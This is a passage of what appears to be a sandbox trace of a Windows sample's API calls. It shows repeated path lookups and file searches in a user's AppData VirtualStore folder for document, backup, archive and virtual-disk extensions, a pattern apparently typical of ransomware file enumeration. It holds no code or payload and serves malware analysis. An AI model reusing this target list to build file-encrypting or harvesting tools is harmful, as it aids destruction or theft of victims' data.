HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.581] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.582] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.584] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.586] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.586] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.gif", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.png", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.587] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.bmp", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.jpg", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.jpeg", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.588] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.588] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.iso", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.backup", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.zip", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.589] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.rar", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.tgz", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.tar", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.bak", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.ARC", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.591] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.vmdk", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.vdi", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sldm", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.592] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sldx", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sti", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.sxi", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.dwg", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.pdf", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.wk1", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.594] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.wks", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.rtf", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.csv", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.595] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.txt", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.msg", lpFindFileData=0x1ae220 | out: lpFindFileData=0x1ae220) returned 0xffffffffffffffff [0106.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 